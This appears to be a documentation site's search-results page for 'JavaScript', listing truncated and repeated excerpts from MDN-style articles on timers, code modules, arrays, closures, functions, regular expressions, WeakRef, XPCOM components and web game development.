...r interval (e.g. a set number of times per second), discusses what they are useful for, and considers their inherent issues. Prerequisites: Basic computer literacy, a reasonable understanding of
JavaScript fundamentals. Objective: To understand asynchronous loops and intervals and what they are useful for. Introduction For a long time, the web platform has offered
JavaScript programmers a number of functions that allow them to asynchronously execute code after a certain time interval has elapsed, and to repeatedly execute a block of code asynchronously until you tell it to stop. These functions are: setTimeout() Execute a specified block of code once after a specified time has elapsed. setInterval() Execute a specified block of code repeatedly with a fixed tim...
...tton to start the stopwatch running. A "Stop" button to pause/stop it. A "Reset" button to reset the time back to 0. The time display to show the number of seconds elapsed, rather than the actual time. Here's a few hints for you: You can structure and style the button markup however you like; just make sure you use semantic HTML, with hooks to allow you to grab the button references using
JavaScript. You probably want to create a variable that starts at 0, then increments by one every second using a constant loop. It is easier to create this example without using a Date() object, like we've done in our version, but less accurate -- you can't guarantee that the callback will fire after exactly 1000ms. A more accurate way would be to run startTime = Date.now() to get a timestamp of exactly w...
...And 5 more matches
Using JavaScript code modules
JavaScript code modules are a concept introduced in Gecko 1.9 and can be used for sharing code between different privileged scopes. Modules can also be used to create global
JavaScript singletons that previously required using
JavaScript XPCOM objects. A
JavaScript code module is simply some
JavaScript code located in a registered location. The module is loaded into a specific
JavaScript scope, such as XUL script or
JavaScript XPCOM script, using Components.utils.import() or Components.utils["import"](). ...
...d scopes. Modules can also be used to create global
JavaScript singletons that previously required using
JavaScript XPCOM objects. A
JavaScript code module is simply some
JavaScript code located in a registered location. The module is loaded into a specific
JavaScript scope, such as XUL script or
JavaScript XPCOM script, using Components.utils.import() or Components.utils["import"](). Creating a
JavaScript code module A very simple
JavaScript module looks like this: var EXPORTED_SYMBOLS = ["foo", "bar"]; function foo() { return "foo"; } var bar = { name : "bar", size : 3 }; var dummy = "dummy"; Notice that the module uses normal
JavaScript to create functions, objects, constants, and any other
JavaScript type. The module also defines a special Array named EXPORTED_SYMBOLS. Any JavaScri...
...at modules are cached when loaded and subsequent imports do not reload a new version of the module, but instead use the previously cached version. This means that a given module will be shared when imported multiple times. Any modifications to data, objects, or functions will be available in any scope that has imported the module. For example, if the simple module were imported into two different
JavaScript scopes, changes in one scope can be observed in the other scope. Scope 1: Components.utils.import("resource://app/my_module.jsm"); alert(bar.size + 3); // displays "6" bar.size = 10; Scope 2: Components.utils.import("resource://app/my_module.jsm"); alert(foo()); // displays "foo" alert(bar.size + 3); // displays "13" This sharing behavior can be used to create singleton object...
...And 5 more matches
Array - JavaScript
In general, these are convenient characteristics; but if these features are not desirable for your particular use, you might consider using typed arrays. Arrays cannot use strings as element indexes (as in an associative array) but must use integers. ...
...In general, these are convenient characteristics; but if these features are not desirable for your particular use, you might consider using typed arrays. Arrays cannot use strings as element indexes (as in an associative array) but must use integers. ...
...ct that is used in the construction of arrays; which are high-level, list-like objects. Description Arrays are list-like objects whose prototype has methods to perform traversal and mutation operations. Neither the length of a
JavaScript array nor the types of its elements are fixed. Since an array's length can change at any time, and data can be stored at non-contiguous locations in the array,
JavaScript arrays are not guaranteed to be dense; this depends on how the programmer chooses to use them. In general, these are convenient characteristics; but if these features are not desirable for your particular use, you might consider using typed arrays. Arrays cannot use strings as element indexes (as in an associative array) but must use integers. Setting or accessing via non-integers using bracket ...
...And 5 more matches
Exception logging in JavaScript - Archive of obsolete content
These might be perfectly normal circumstances, but the exceptions were dutifully logged nonetheless. ...
...These might be perfectly normal circumstances, but the exceptions were dutifully logged nonetheless. ...
...These might be perfectly normal circumstances, but the exceptions were dutifully logged nonetheless. ...
...And 4 more matches
Sending forms through JavaScript - Learn web development
This article explores such approaches. A form is not always a form With progressive web apps, single page apps, and framework based apps, it's common to use HTML forms to send data without loading a new document when response data is received. Let's first talk about why this requires a different approach. Gaining control of the global interface Standard HTML form submission, as described in the previous article, loads the URL where the data was sent, which means the browser window navigates with a full page load. ...
... issues like flickering. Many modern UIs only use HTML forms to collect input from the user, and not for data submission. When the user tries to send the data, the application takes control and transmits the data asynchronously in the background, updating only the parts of the UI that require changes. Sending arbitrary data asynchronously is generally called AJAX, which stands for "Asynchronous
JavaScript And XML". How is it different? The XMLHttpRequest (XHR) DOM object can build HTTP requests, send them, and retrieve their results. Historically, XMLHttpRequest was designed to fetch and send XML as an exchange format, which has since been superceded by JSON. But neither XML nor JSON fit into form data request encoding. Form data (application/x-www-form-urlencoded) is made of URL-encoded lists o...
...alone FormData object. Using FormData bound to a <form> element. Let's look at them in detail. Building an XMLHttpRequest manually XMLHttpRequest is the safest and most reliable way to make HTTP requests. To send form data with XMLHttpRequest, prepare the data by URL-encoding it, and obey the specifics of form data requests. Let's look at an example: <button>Click Me!</button> And now the
JavaScript: const btn = document.querySelector('button'); function sendData( data ) { console.log( 'Sending data' ); const XHR = new XMLHttpRequest(); let urlEncodedData = "", urlEncodedDataPairs = [], name; // Turn the data object into an array of URL-encoded key/value pairs. for( name in data ) { urlEncodedDataPairs.push( encodeURIComponent( name ) + '=' + encodeURIComponent...
...And 4 more matches
Destructuring assignment - JavaScript
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...string that matched each parenthesized group in the regular expression. Destructuring assignment allows you to unpack the parts out of this array easily, ignoring the full match if it is not needed. ...
...ession. Destructuring assignment allows you to unpack the parts out of this array easily, ignoring the full match if it is not needed. ...
...And 4 more matches
Asynchronous JavaScript - Learn web development
If you are not familiar with the concept of asynchronous programming, you should definitely start with the General asynchronous programming concepts article in this module. ...
... If you are not familiar with the concept of asynchronous programming, you should definitely start with the General asynchronous programming concepts article in this module. ...
...rtant, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Asynchronous
JavaScript is a fairly advanced topic, and you are advised to work through
JavaScript first steps and
JavaScript building blocks modules before attempting this. If you are not familiar with the concept of asynchronous programming, you should definitely start with the General asynchronous programming concepts article in this module. If you are, then you can probably skip to the Introducing asynchronous
JavaScript module. Note: If you are working on a computer/tablet/other device...
...And 3 more matches
JavaScript performance - Learn web development
Previous Overview: Performance Next While images and video account for over 70% of the bytes downloaded for the average website, byte per byte,
JavaScript has a greater negative impact on performance. This article looks to introduce performance issues caused by scripts and introduces tips and tricks for optimizing
JavaScript for web performance. Prerequisites: Basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. Objective: To learn about the effects of
JavaScript on performance optimization, and how a
JavaScript file size is not the only impact on web performance. Similar to images and video, the best way to improve performance is to omit what is not, in fact, necessary. But not all bytes downloaded have th...
...e installed, and basic knowledge of client-side web technologies. Objective: To learn about the effects of
JavaScript on performance optimization, and how a
JavaScript file size is not the only impact on web performance. Similar to images and video, the best way to improve performance is to omit what is not, in fact, necessary. But not all bytes downloaded have the same impact.
JavaScript bytes have to be downloaded, parsed, and exectuted.
JavaScript impacts download performance. We'll cover tips and tricks to minimize that impact on download. But
JavaScript can also consume the main thread, the CPU, and the battery. It can make the UI feel unresponsive or janky. We'll introduce concepts for handling that as well. Download impact Web applications include a lot of
JavaScript. Man...
...eel unresponsive or janky. We'll introduce concepts for handling that as well. Download impact Web applications include a lot of
JavaScript. Many applications are built with a JavaScrpit framework, or multiple, with several additional dependencies. Often times third party scripts and APIs are added, including A/B testing, tracking pixels, and features like maps and support features. All of this
JavaScript must be downloaded. Eventually. Performance optimizatins should include: Reducing the amount of
JavaScript that is needed. Some features requiring complex
JavaScript can be done with a few lines of
JavaScript. ...
...And 3 more matches
The JavaScript Runtime
erpretation Beginning with Rhino 1.4 Release 2, an interpretive mode is supported. When scripts are compiled in interpretive mode, an internal representation of the compiled form is created and stored rather than generating a Java class. Execution proceeds by evaluating this compiled form using support routines in Rhino. Compilation to Java Bytecodes For improved performance, Rhino may compile
JavaScript scripts to Java bytecodes. The generated bytecodes in turn depend upon runtime support routines. Each
JavaScript script or function is compiled to a separate class. Compilation of
JavaScript source to class files is supported. It is possible to specify the class files as well as the packages to generate into. Types and Values There are six fundamental types in
JavaScript. These types are imple...
... depend upon runtime support routines. Each
JavaScript script or function is compiled to a separate class. Compilation of
JavaScript source to class files is supported. It is possible to specify the class files as well as the packages to generate into. Types and Values There are six fundamental types in
JavaScript. These types are implemented with the following Java types and values:
JavaScript fundamental type Java type Undefined A singleton object defined by Context.getUndefinedType() Null null Boolean java.lang.Boolean Number java.lang.Number, that is, any of java.lang.Byte, java.lang.Short, java.lang.Integer, java.lang.Float, or java.lang.Double. Not java.lang.Long, since a double representation of a long may lose precision. ...
...ect defined by Context.getUndefinedType() Null null Boolean java.lang.Boolean Number java.lang.Number, that is, any of java.lang.Byte, java.lang.Short, java.lang.Integer, java.lang.Float, or java.lang.Double. Not java.lang.Long, since a double representation of a long may lose precision. String java.lang.CharSequence (java.lang.String or org.mozilla.
javascript.ConsString) Object org.mozilla.
javascript.Scriptable In addition, ECMA refers to objects that implement [[Call]] as functions. These object types are represented by implementing the Function interface. Since
JavaScript is a dynamically typed language, the static Java type of a
JavaScript value is java.lang.Object. The behavior of the
JavaScript engine is undefined if a value ...
...And 3 more matches
Creating JavaScript jstest reftests
directory contains tests of SpiderMonkey conformance to ECMAScript as well as SpiderMonkey non-standard extenstions to ECMAScript. Directory Overview In the js/src/tests directory, there are a few important subdirectories. non262 tests The directory js/src/tests/non262/ should contain all tests of the following type: Regressions of SpiderMonkey Non-standard SpiderMonkey extensions to the
JavaScript language Test of "implementation-defined" details of the ECMAScript Standard For example, the exact definition of pi or some details of array sorting. You should not add tests of the following type: Tests of the JIT Test of JIT correctness belong in the jit-test suite, read more here. Performance tests or stress tests Tests of SpiderMonkey's comformance to the ECMASc...
...nical committee. Mozilla manually imports these tests into the js/src/tests/test262 directory. You should contribute directly to Test262 in the following scenarios: You are writing tests for the implementation of a new feature or feature proposal for ECMAScript. If tests for the new feature proposal do not yet exist in Test262 (they might!), contributing to Test262 will allow all other
JavaScript implementors to use your tests as well. You would like to contribute tests of an ECMAScript, Intl or JSON feature insufficiently covered by Test262. At the time of this writing, Mozilla imports Test262 tests in to the directory js/src/tests/test262. When importing Test262, the test file's in-file metadata is translated from Test262 format to a format readibly by the jstest harness. If yo...
...ng exceptions, and the matching is fuzzy in an unspecified way. For example, reportCompare sometimes considers numbers to be the same if they are "close enough" to each other, even if the == operator would return false. expected = 3; actual = 1 + 2; reportCompare(expected, actual, '3==1+2'); compareSource compareSource(expected, actual, description) is used to test if the decompilation of a
JavaScript object (conversion to source code) matches an expected value. Note that tests which use compareSource should be located in the decompilation sub-suite of a suite. For example, to test the decompilation of a simple function you could write: var f = (function () { return 1; }); expect = 'function () { return 1; }'; actual = f + ''; compareSource(expect, actual, 'decompile simple function'); Han...
...And 3 more matches
How to build an XPCOM component in JavaScript
If you are looking for Add-on SDK solution for XPCOM
JavaScript components then check out platform/xpcom module first. This is a "Hello World" tutorial for creating an XPCOM component in
JavaScript. This tutorial does not describe how and why XPCOM works the way it does, or what every bit of the example code does. That's been detailed elsewhere. This tutorial will show you what you need to do to get a component working in as few and as simple steps as possible. Implementation This example component will expose a single method, which returns the string "Hello World!". Defining the Interface If you want to use your component in other XPCOM components, you must define the interfaces that you want exposed. ...
...l will show you what you need to do to get a component working in as few and as simple steps as possible. Implementation This example component will expose a single method, which returns the string "Hello World!". Defining the Interface If you want to use your component in other XPCOM components, you must define the interfaces that you want exposed. If you want to use your component only from
JavaScript, you can skip to the next section. There are many interfaces already defined in Mozilla applications, so you may not need to define a new one. You can browse existing XPCOM interfaces at various locations in the Mozilla source code, or using XPCOMViewer, a GUI for browsing registered interfaces and components. You can download an old version of XPCOMViewer that works with Firefox 1.5 from mozdev...
...gre/modules/XPCOMUtils.jsm"); then implement your interface the same way you did above, except with a few modifications so that XPCOMUtils can set it up properly: /*********************************************************** class definition ***********************************************************/ //class constructor function HelloWorld() { // If you only need to access your component from
JavaScript, uncomment the following line: //this.wrappedJSObject = this; } // class definition HelloWorld.prototype = { // properties required for XPCOM registration: classDescription: "My Hello World
JavaScript XPCOM Component", classID: Components.ID("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"), contractID: "@dietrich.ganx4.com/helloworld;1", // [optional] custom factory (an objec...
...And 3 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
You will learn how to create, access and control, and remove HTML elements dynamically. The DOM methods presented here are not specific to HTML; they also apply to XML. The demonstrations provided here will work fine in any modern browser, including all versions of Firefox and IE 5+. The DOM methods presented here are part of the Document Object Model (Core) level 1 specification. DOM level 1 includes both methods for generic document access and manipulation (DOM 1 Core) as well as methods specific to HTML documents (DOM 1 HTML). ...
.... The DOM methods presented here are part of the Document Object Model (Core) level 1 specification. DOM level 1 includes both methods for generic document access and manipulation (DOM 1 Core) as well as methods specific to HTML documents (DOM 1 HTML). ...
... its parent <table> element using tbl.appendChild(tblBody); Next, we attach the <table> element to its parent <body> element using body.appendChild(tbl); Remember this technique. You will use it frequently in programming for the W3C DOM. First, you create elements from the top down; then you attach the children to the parents from the bottom up. Here's the HTML markup generated by the
JavaScript code: ... <table border="2"> <tbody> <tr><td>cell is row 0 column 0</td><td>cell is row 0 column 1</td></tr> <tr><td>cell is row 1 column 0</td><td>cell is row 1 column 1</td></tr> </tbody> </table> ... Here's the DOM object tree generated by the code for the <table> element and its child elements: You can build this table and its internal child elements by using just a few DOM methods. Rem...
...And 3 more matches
Closures - JavaScript
A closure is the combination of a function bundled together (enclosed) with references to its surrounding state (the lexical environment). In other words, a closure gives you access to an outer function's scope from an inner function. In
JavaScript, closures are created every time a function is created, at function creation time. Lexical scoping Consider the following example code: function init() { var name = 'Mozilla'; // name is a local variable created by init function displayName() { // displayName() is the inner function, a closure alert(name); // use variable declared in the parent function } displayName(); } init(); init() creates a local variable called name and a function called displayName(). The displayName() function is an inner function that is defined inside init() ...
...xecuted. At first glance, it might seem unintuitive that this code still works. In some programming languages, the local variables within a function exist for just the duration of that function's execution. Once makeFunc() finishes executing, you might expect that the name variable would no longer be accessible. However, because the code still works as expected, this is obviously not the case in
JavaScript. The reason is that functions in
JavaScript form closures. A closure is the combination of a function and the lexical environment within which that function was declared. This environment consists of any local variables that were in-scope at the time the closure was created. In this case, myFunc is a reference to the instance of the function displayName created when makeFunc is run. The instance...
...tes on that data. This has obvious parallels to object-oriented programming, where objects allow you to associate data (the object's properties) with one or more methods. Consequently, you can use a closure anywhere that you might normally use an object with only a single method. Situations where you might want to do this are particularly common on the web. Much of the code written in front-end
JavaScript is event-based. You define some behavior, and then attach it to an event that is triggered by the user (such as a click or a keypress). The code is attached as a callback (a single function that is executed in response to the event). For instance, suppose we want to add buttons to a page to adjust the text size. One way of doing this is to specify the font-size of the body element (in pixels), a...
...And 3 more matches
Functions - JavaScript
<< PreviousNext >> Functions are one of the fundamental building blocks in
JavaScript. A function in
JavaScript is similar to a procedure--a set of statements that performs a task or calculates a value, but for a procedure to qualify as a function, it should take some input and return an output where there is some obvious relationship between the input and the output. To use a function, you must define it somewhere in the scope from which you wish to call it. See also the exhaustive reference chapter about
JavaScript functions to get to know the details. Defining functions Function declarations A function definition (also called a function declaration, or function statement) consists of the function keyword, followed by: The name of the function. A list of parameters to the ...
... For example, the following code defines a simple function named square: function square(number) { return number * number; } The function square takes one parameter, called number. ...
... every element of the array received as a second argument. function map(f, a) { let result = []; // Create a new Array let i; // Declare variable for (i = 0; i != a.length; i++) result[i] = f(a[i]); return result; } const f = function(x) { return x * x * x; } let numbers = [0, 1, 2, 5, 10]; let cube = map(f,numbers); console.log(cube); Function returns: [0, 1, 8, 125, 1000]. In
JavaScript, a function can be defined based on a condition. For example, the following function definition defines myFunc only if num equals 0: var myFunc; if (num === 0) { myFunc = function(theObject) { theObject.make = 'Toyota'; } } In addition to defining functions as described here, you can also use the Function constructor to create functions from a string at runtime, much like eval(). A met...
...And 3 more matches
CSS and JavaScript animation performance - Web Performance
CSS transitions and animations Both CSS transitions and animations can be used to write animation. ...
... CSS transitions and animations Both CSS transitions and animations can be used to write animation. ...
...ion's style, as well as possible intermediate points. See Using CSS animations for more details. In terms of performance, there is no difference between implementing an animation with CSS transitions or animations. Both of them are classified under the same CSS-based umbrella in this article. requestAnimationFrame The requestAnimationFrame() API provides an efficient way to make animations in
JavaScript. The callback function of the method is called by the browser before the next repaint on each frame. Compared to setTimeout()/setInterval(), which need a specific delay parameter, requestAnimationFrame() is much more efficient. Developers can create an animation by simply changing an element's style each time the loop is called (or updating the Canvas draw, or whatever.) Note: Like CSS transiti...
...And 3 more matches
JavaScript timers - Archive of obsolete content
The setInterval() function is commonly used to set a delay for functions that are executed again and again, such as animations. The setImmediate() function can be used instead of the setTimeout(fn, 0) method to execute heavy operations in IE. ...
...ween each call to that function. setImmediate() Calls a function immediately after the browser has completed other operations, such as events and display updates. clearTimeout() Clears the delay set by setTimeout(). clearInterval() Cancels repeated action which was set up using setInterval(). clearImmediate() Cancels the immediate actions, just like clearTimeout() for setTimeout(). Using
JavaScript timers within animations (
Javascript Daemons Management) In Computer science a daemon is a task that runs as a background process, rather than being under the direct control of an interactive user. In
JavaScript programming language, all daemons are processes created by
JavaScript timers or by a Worker instantiation. Here are some code snippets which simplify and abstract the management of daemo...
...e invoked before the repaint. performance.now() performance.now() returns a timestamp, measured in milliseconds, accurate to one thousandth of a millisecond. This timestamp is equal to the number of milliseconds since the navigationStart attribute of the performance.timing interface. Date.now() Date.now() returns the number of milliseconds elapsed since 1 January 1970 00:00:00 UTC. ...
...And 2 more matches
Server-Side JavaScript - Archive of obsolete content
es already use, every day. Sounds obvious, but for at least the first twelve years of the Web's evolution, developers have pretty much had to use different languages on the server from those available in the browser, leading to segregated teams, disparate and inconsistent know-how, and plenty of server-side string manipulation gymnastics to generate HTML or Ajax pages. ...
.... The simplicity of using
JavaScript on the server was part of Netscape's original vision back in the day with Netscape LiveWire. But back then, 350 MHz servers were the best you could buy, and Mozilla was yet to emerge from the Netscape organization to continue to advance the state of Web technologies. Today with computing cycles having increased more than 10-fold and Mozilla's work on Rhino (
JavaScript interpreter in Java) and SpiderMonkey (
JavaScript interpreter in C) and
JavaScript itself, we have very solid foundations for
JavaScript to be extraordinarily useful and applicable on the server-side again -- with performance in the same range as popular server-side environments like PHP and Ruby on Rails. ...
...re than 10-fold and Mozilla's work on Rhino (
JavaScript interpreter in Java) and SpiderMonkey (
JavaScript interpreter in C) and
JavaScript itself, we have very solid foundations for
JavaScript to be extraordinarily useful and applicable on the server-side again -- with performance in the same range as popular server-side environments like PHP and Ruby on Rails. Now, with TraceMonkey available,
JavaScript (both client side and server-side) can see 20x to 40x speed improvements according to Brendan Eich, Mozilla CTO and creator of
JavaScript. ...
...And 2 more matches
Understanding client-side JavaScript frameworks - Learn web development
Many modern companies use frameworks as a standard part of their tooling, so many front-end development jobs now require framework experience. As an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks -- there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks. In this set of articles, we are aiming to give you a comfortable starting point to help you begin learning frameworks. ...
...We want you to go forward and learn about frameworks in a pragmatic way that doesn't forget about web platform fundamental best practices such as accessibility. Get started now, with ...
...e want you to go forward and learn about frameworks in a pragmatic way that doesn't forget about web platform fundamental best practices such as accessibility. Get started now, with "Introduction to client-side frameworks" Prerequisites You should really learn the basics of the core web languages first before attempting to move on to learning client-side frameworks -- HTML, CSS, and especially
JavaScript. Your code will be richer and more professional as a result, and you'll be able to troubleshoot problems with more confidence if you understand the fundamental web platform features that the frameworks are building on top of. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started ...
...And 2 more matches
JavaScript code modules
Note: These are not the same thing as standard
JavaScript modules. See export and import to learn more about how to use standard modules.
JavaScript code modules let multiple privileged
JavaScript scopes share code. For example, a module could be used by Firefox itself as well as by extensions, in order to avoid code duplication. General topics Using
JavaScript code modules An introduction to how to use
JavaScript code modules. Components.utils.import How to import a
JavaScript code module. Components.utils.unload How to unload a
JavaScript code module. Code snippets: Modules Examples of how to use code modules. ...
... Standard code modules AddonManager.jsm An interface to install, manage, and uninstall add-ons. AddonRepository.jsm Provides a search of add-ons in the repository. ...
...rt.jsm Implements the CommonJS Unit Testing specification version 1.1, which provides a basic standardized interface for performing in-code logical assertions with optional, customizable error reporting. BookmarkHTMLUtils.jsm Provides utility functions for importing and exporting bookmarks from the old-school "bookmarks.html" style bookmark files. ctypes.jsm Provides an interface that allows
JavaScript code to call native libraries without requiring the development of an XPCOM component. CustomizableUI.jsm Allows you to interact with customizable buttons and items in Firefox's main window UI. DeferredTask.jsm Run a task after a delay. Dict.jsm Provides an API for key/value pair dictionaries. DownloadLastDir.jsm Supplies the path to the directory into which the last download occurred. D...
...And 2 more matches
Intensive JavaScript - Firefox Developer Tools
By default the browser uses a single thread to run all the
JavaScript in your page as well as to perform layout, reflows, and garbage collection. This means that long-running
JavaScript functions can block the thread, leading to an unresponsive page and a bad user experience. You can use the Frame rate and Waterfall tools to see when
JavaScript is causing performance problems, and to single out the particular functions that need attention. In this article we'll take an example site whose long-running
JavaScript causes responsiveness problems, and apply two different approaches to fixing them. The first is to split long-running functions into pieces and use requestAnimationFrame to schedule each piece, and the second is to run the whole function in a separate thread using a web worker. I...
...long-running functions into pieces and use requestAnimationFrame to schedule each piece, and the second is to run the whole function in a separate thread using a web worker. If you want to play along you can find the demo website here. There's also a video version of this walkthrough: The demo website looks like this: It has three controls: a radio button group to control how to run the
JavaScript: as a single blocking operation in the main thread, as a series of smaller operations in the main thread using requestAnimationFrame(), or in another thread using a worker. a button to run the
JavaScript, labeled "Do pointless computations!". a button to start and stop some CSS animations. This just gives the browser some background tasks to perform. Leaving the radio button set to "Use block...
...g like this: The top half of this is the waterfall overview. It gives us a compressed view of the Waterfall, which tells us what kinds of operations the browser is doing during the recording. The pink says that we are mostly performing CSS calculations and possibly reflow: this is the CSS animation that's running throughout the profile. Then there are three solid blocks of orange, representing
JavaScript execution, one for each time we pressed the button. The bottom half, which is correlated with the timeline summary in time, shows frame rate. We can see that frame rate is pretty healthy for most of the recording, but collapses completely whenever we press the button. We can select one of these periods and have a closer look at it in the main Waterfall view: Here, when we pressed the button,...
...And 2 more matches
The JavaScript input interpreter - Firefox Developer Tools
To enter expressions in single-line mode, type at the prompt and press Enter. To enter multi-line expressions, press Shift+Enter after typing each line, then Enter to run all the entered lines. The expression you type is echoed under the input prompt, followed by the result. If your input does not appear to be complete when you press Enter, then the Console treats this as Shift+Enter , enabling you to finish your input. ...
... execute the input, but behaves as if you had pressed Shift+Enter , so you can finish entering the function definition. Multi-line mode For multi-line entry, click the "split pane" icon at the right hand side of the single-line entry field, or press Ctrl+B (Windows/Linux) or Cmd+B (macOS). The multi-line editing pane opens on the left side the of Web Console. You can enter multiple lines of
JavaScript by default in this mode, pressing Enter after each one. To execute the snippet that is currently in the editing pane, click the Run button or press Ctrl+Enter (or Cmd+Return on MacOS). The snippet is echoed under the input prompt (in the right-side pane), followed by the result. You can also select a range of lines in the editing pane, and run just the code on those lines. Starting in Firefox 76...
...nts of the editing pane, press Ctrl+S (Cmd+S on MacOS). A file dialog box opens so you can specify the location to save to. To switch back to single-line mode, click the X icon at the top of the multi-line editing pane, or press Ctrl+B (Windows/Linux) or Cmd+B (MacOS). Accessing variables You can access variables defined in the page, both built-in variables like window and variables added by
JavaScript libraries like jQuery: Autocomplete The editor has autocomplete: enter the first few letters and a popup appears with possible completions: Press Enter, Tab, or the right arrow key to accept the suggestion, use the up/down arrows to move to a different suggestion, or just keep typing if you don't like any of the suggestions. Console autocomplete suggestions are case-insensitive. The con...
...And 2 more matches
Numbers and dates - JavaScript
<< PreviousNext >> This chapter introduces the concepts, objects and functions used to work with and perform calculations using numbers and dates in
JavaScript. This includes using numbers written in various bases including decimal, binary, and hexadecimal, as well as the use of the global Math object to perform a wide variety of mathematical operations on numbers. Numbers In
JavaScript, numbers are implemented in double-precision 64-bit binary format IEEE 754 (i.e., a number between +-2-1022 and +-2+1023, or about +-10-308 to +-10+308, with a numeric precision of 53 bits). Integer values up to +-253 - 1 can be represented exactly. In addition to being able to represent floating-point numbers, the number type has three symbolic values: +Infinity, -Infinity, and NaN (not-a-number)...
...uble-precision 64-bit binary format IEEE 754 (i.e., a number between +-2-1022 and +-2+1023, or about +-10-308 to +-10+308, with a numeric precision of 53 bits). Integer values up to +-253 - 1 can be represented exactly. In addition to being able to represent floating-point numbers, the number type has three symbolic values: +Infinity, -Infinity, and NaN (not-a-number). A more recent addition to
JavaScript is BigInt which lets you represent integers that may be very large. There are caveats to using BigInt, however; for example, you can't mix and match BigInt and Number values in the same operation, and you can't use the Math object with BigInt values. See also
JavaScript data types and structures for context with other primitive types in
JavaScript. You can use four types of number literals: dec...
... Same as the global parseFloat() function. Number.parseInt() Parses a string argument and re...
...And 2 more matches
Regular expressions - JavaScript
<< PreviousNext >> Regular expressions are patterns used to match character combinations in strings. In
JavaScript, regular expressions are also objects. These patterns are used with the exec() and test() methods of RegExp, and with the match(), matchAll(), replace(), replaceAll(), search(), and split() methods of String. This chapter describes
JavaScript regular expressions. Creating a regular expression You construct a regular expression in one of two ways: Using a regular expression literal, which consists of a pattern enclosed between slashes, as follows: let re = /ab+c/; Regular expression literals provide compilation of the regular expression when the script is loaded. If the regular expression remains constant, using this can improve performance. Or calli...
...add them using String.replace: function escapeRegExp(string) { return string.replace(/[.*+\-?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string } The "g" after the regular expression is an option or flag that performs a global search, looking in the whole string and returning all matches. It is explained in detail below in Advanced Searching With Flags. ...
... Methods that use regular expressions Method Description exec() Executes a search for a match in a string. ...
...And 2 more matches
SyntaxError: missing ; before statement - JavaScript
However, oftentimes, this error is only a consequence of another error, like not escaping strings properly, or using var wrongly. ...
... However, oftentimes, this error is only a consequence of another error, like not escaping strings properly, or using var wrongly. ...
...re statement" occurs when there is a semicolon (;) missing somewhere and can't be added by automatic semicolon insertion (ASI). You need to provide a semicolon, so that
JavaScript can parse the source code correctly. Message SyntaxError: Expected ';' (Edge) SyntaxError: missing ; before statement (Firefox) Error type SyntaxError. What went wrong? There is a semicolon (;) missing somewhere.
JavaScript statements must be terminated with semicolons. Some of them are affected by automatic semicolon insertion (ASI), but in this case you need to provide a semicolon, so that
JavaScript can parse the source code correctly. However, oftentimes, this error is only a consequence of another error, like not escaping strings properly, or using var wrongly. You might also have too many parenthesis somewher...
...And 2 more matches
WeakRef - JavaScript
rom getting garbage-collected. Description A WeakRef object contains a weak reference to an object, which is called its target or referent. A weak reference to an object is a reference that does not prevent the object from being reclaimed by the garbage collector. In contrast, a normal (or strong) reference keeps an object in memory. When an object no longer has any strong references to it, the
JavaScript engine's garbage collector may destroy the object and reclaim its memory. If that happens, you can't get the object from a weak reference anymore. Note: Please see the Avoid where possible section below. Correct use of WeakRef takes careful thought, and it's best avoided if possible. Constructor WeakRef() Creates a new WeakRef object. Instance methods WeakRef.prototype.deref() Retur...
...f() Returns the WeakRef object's target object, or undefined if the target object has been reclaimed. Avoid where possible Correct use of WeakRef takes careful thought, and it's best avoided if possible. It's also important to avoid relying on any specific behaviors not guaranteed by the specification. When, how, and whether garbage collection occurs is down to the implementation of any given
JavaScript engine. Any behavior you observe in one engine may be different in another engine, in another version of the same engine, or even in a slightly different situation with the same version of the same engine. Garbage collection is a hard problem that
JavaScript engine implementers are constantly refining and improving their solutions to. Here are some specific points that the authors of the WeakRef...
...xpected, or not at all. Sources of variability include: One object might be garbage-collected much sooner than another object, even if they become unreachable at the same time, e.g., due to generational collection. Garbage collection work can be split up over time using incremental and concurrent techniques. Various runtime heuristics can be used to balance memory usage, responsiveness. The
JavaScript engine may hold references to things which look like they are unreachable (e.g., in closures, or inline caches). Different
JavaScript engines may do these things differently, or the same engine may change its algorithms across versions. Complex factors may lead to objects being held alive for unexpected amounts of time, such as use with certain APIs. Notes on WeakRefs Some notes on WeakRefs...
...And 2 more matches
2D breakout game using pure JavaScript - Game development
After working through this tutorial you should be able to build your own simple Web games. ...
...able, live samples available to play with so you can see what the intermediate stages should look like. You will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, and winning and losing states. To get the most out of this series of articles you should already have basic to intermediate
JavaScript knowledge. After working through this tutorial you should be able to build your own simple Web games. Lesson details All the lessons -- and the different versions of the MDN Breakout game we are building together -- are available on GitHub: Create the Canvas and draw on it Move the ball Bounce off the walls Paddle and keyboard controls Game over Build the brick field Collision detect...
... own simple Web games. Lesson details All the lessons -- and the different versions of the MDN Breakout game we are building together -- are available on GitHub: Create the Canvas and draw on it Move the ball Bounce off the walls Paddle and keyboard controls Game over Build the brick field Collision detection Track the score and win Mouse controls Finishing up Starting with pure
JavaScript is the best way to get a solid knowledge of web game development. After that, you can pick any framework you like and use it for your projects. Frameworks are just tools built with the
JavaScript language; so even if you plan on working with them, it's good to learn about the language itself first to know what exactly is going on under the hood. Frameworks speed up development time and help take ...
... Note: If you are interested in learning about 2D web game development using a game library, consult this series' counterpart, 2D breakout game using Phaser. Note: This series of articles can be used as material for hands-on game development workshops. ...
JavaScript-DOM Prototypes in Mozilla
When XPConnect wraps a C++ object it will create a JSObject that is unique to this C++ object. In the case where the C++ object has class info (nsIClassInfo), the JSObject is a more or less empty JSObject which is not really that special. ...
... of this let's look at an HTML image element in a document. var obj = document.images[0]; Here, obj will not really have any properties (except for the standard JSObject properties such as constructor, and the non-standard __parent__, __proto__, etc.), all the DOM functionality of obj comes from obj's prototype (obj.__proto__) that XPConnect sets up when exposing the first image in document to
